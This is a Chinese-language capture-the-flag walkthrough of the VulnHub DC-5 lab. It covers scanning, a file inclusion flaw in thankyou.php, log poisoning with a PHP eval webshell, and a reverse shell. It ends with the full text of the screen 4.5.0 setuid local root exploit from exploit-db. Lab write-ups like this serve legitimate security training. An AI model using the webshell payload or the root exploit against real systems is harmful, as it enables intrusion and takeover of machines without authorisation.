vulnhub DC5
- 前言
- 一、資訊收集
- 二、漏洞利用
- 三、 提權
前言
前幾個DC感覺沒什么新奇(DC2有個繞過rbash,git提權),就放了個5,
一、資訊收集
nmap -sn 192.168.1.0/24
nmap -Pn 192.168.1.178
然后我腦癱的瘋狂懟111埠,,,轉換思路到80埠
訪問web頁面
掃后臺 footer.php

重繪一次跟上次不一樣??
在http://192.168.1.178/contact.php提交表單
包含了footer.php而且重繪的時候footer.php內容會變,那么可以推測thankyou.php包含了footer.php,且存在檔案包含漏洞,
可以看到成功包含了index.php,
二、漏洞利用
試試file為引數,居然嘿嘿,然后brupsuit用上我的大字典,找出路徑為/var/log/nginx/access.log,

蕪湖,傳日志木馬,
/thankyou.php?file=<?php @eval($_REQUEST['webshell'])?>
蟻劍沖沖沖,
不是很清楚,為什么一句話后面不加分號反而成功,有大佬指點一下嗎?
拿到webshell后,nc反彈shell(蟻劍不穩定)
換成互動式吧
python -c "import pty;pty.spawn('/bin/bash')"
``
三、 提權
find / -perm -u=s -type f 2>/dev/null
查看一下,發現貌似只能試試screen-4.5.0,
漏洞庫查找漏洞exp
保存為shell腳本,用蟻劍傳到/var/tmp(權限比較大),然后執行該.sh,成功拿到root權限,
漏洞腳本(www.exploit-db.com)
`
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
轉載請註明出處,本文鏈接:https://www.uj5u.com/ruanti/233158.html
標籤:其他
上一篇:VueJs(前端面試題整合)
